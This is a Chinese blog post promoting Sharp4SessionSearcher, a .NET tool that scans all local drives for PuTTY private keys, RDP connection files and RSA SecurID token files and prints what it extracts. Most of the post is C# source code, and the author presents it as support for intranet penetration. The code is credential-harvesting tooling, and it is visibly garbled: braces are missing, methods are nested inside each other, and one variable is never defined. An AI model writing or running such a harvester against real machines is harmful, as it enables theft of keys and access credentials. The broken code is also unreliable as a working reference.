.NET 一款获取系统软件存储私钥的工具

最新推荐文章于 2024-10-01 13:50:13 发布

dot.Net安全矩阵

最新推荐文章于 2024-10-01 13:50:13 发布

阅读量789

点赞数 18

文章标签： .net c# windows 安全矩阵 web安全

本文链接：https://blog.csdn.net/ahhacker86/article/details/139053631

版权

01本文概要

Sharp4SessionSearcher 是一款专门设计用于在本地系统中搜索敏感信息文件并获取内容的工具。本文将详细介绍这款工具的功能、工作原理及其使用方法。

02工具介绍

Sharp4SessionSearcher 是一个强大的工具，用于在本地磁盘中搜索特定类型的敏感文件，包括 PuTTY 私钥文件（.ppk）、远程桌面连接文件（.rdp）和 RSA 安全令牌文件（.sdtid）。它不仅能够快速定位这些文件，还可以提取和解析相关的私钥信息，为安全分析和漏洞检测提供重要支持，无需复杂的参数设置，只需运行工具即可完成所有操作。

03工作原理

Sharp4SessionSearcher 通过以下几个步骤实现其功能：工具启动后，会遍历所有已连接的磁盘，逐层深入查找目标文件。在每个目录中，工具会匹配特定的文件扩展名 (.ppk, .rdp, .sdtid)，并记录匹配的文件路径。找到目标文件后，工具会解析文件内容，提取出有用的信息并输出。以下是工具的主要代码实现：

public class SessionSearcher

{

static void Main()

{

Console.WriteLine("[+] Searching all connected drives. This could take a few minutes...");

string[] drives = Environment.GetLogicalDrives();

foreach (string drive in drives)

{

DriveInfo di = new DriveInfo(drive);

if (!di.IsReady)

{

Console.WriteLine("Drive {0} could not be read", di.Name);

continue;

}

DirectoryInfo rootDir = di.RootDirectory;

RecursiveFileSearch(rootDir);

}

Console.WriteLine("[+] Parsing PPK files\r\n");

foreach (string ppkFile in ppkList)

{

PPKParser(ppkFile);

}

Console.WriteLine("[+] Parsing RDP files\r\n");

foreach (string rdpFile in rdpList)

{

RDPParser(rdpFile);

}

Console.WriteLine("[+] Collected RSA tokens:\r\n");

foreach (string sdtidFile in sdtidList)

{

Console.WriteLine(sdtidFile);

}

static List<string> ppkList = new List<string>();

static List<string> rdpList = new List<string>();

static List<string> sdtidList = new List<string>();

static void RecursiveFileSearch(DirectoryInfo root)

{

FileInfo[] files = null;

DirectoryInfo[] subDirs = null;

try

{

files = root.GetFiles("*.*");

}

catch (UnauthorizedAccessException){ }

catch (DirectoryNotFoundException){ }

if (files != null)

{

foreach (FileInfo fi in files)

{

if (fi.Extension.Equals(".ppk"))

{

ppkList.Add(fi.FullName);

Console.WriteLine(fi.FullName);

}

if (fi.Extension.Equals(".rdp"))

{

rdpList.Add(fi.FullName);

Console.WriteLine(fi.FullName);

}

if (fi.Extension.Equals(".sdtid"))

{

sdtidList.Add(fi.FullName);

Console.WriteLine(fi.FullName);

}

subDirs = root.GetDirectories();

foreach (DirectoryInfo dirInfo in subDirs)

{

// Resursive call for each subdirectory.

RecursiveFileSearch(dirInfo);

}

// RDP文件解析方法

static void RDPParser(string path)

{

List<string> rdpFile = File.ReadAllLines(path).ToList();

int rdpAddressIDX = rdpFile.FindIndex(s => new Regex(@"full address").Match(s).Success);

int rdpGatewayIDX = rdpFile.FindIndex(s => new Regex(@"gatewayhostname").Match(s).Success);

List<string> rdpAddress = rdpFile[rdpAddressIDX].Split(':').ToList();

List<string> rdpGateway = rdpFile[rdpGatewayIDX].Split(':').ToList();

List<string> rdpPromptForCredsArr = rdpFile[rdpPromptForCredsIDX].Split(':').ToList();

Console.WriteLine("Filename:\t\t" + path);

Console.WriteLine("Address:\t\t" + rdpAddress[2]);

Console.WriteLine("Gateway Address:\t" + rdpGateway[2]);

if (rdpPromptForCredsArr[2].ToString().Equals("0"))

{

Console.WriteLine("Prompts for Creds:\tFalse");

}

else

{

Console.WriteLine("Prompts for Creds:\tTrue");

}

Console.WriteLine();

}

用户只需运行该工具，无需提供任何额外的参数。工具会自动开始扫描所有连接的磁盘，寻找目标文件并进行解析。总之Sharp4SessionSearcher 是一款高效、便捷的工具，适用于需要快速搜索和解析本地系统中敏感信息文件的场景。通过简单的一键运行，用户可以轻松获取系统中存在的 .ppk、.rdp 和 .sdtid 文件及其内容，为安全分析和内网渗透提供重要支持。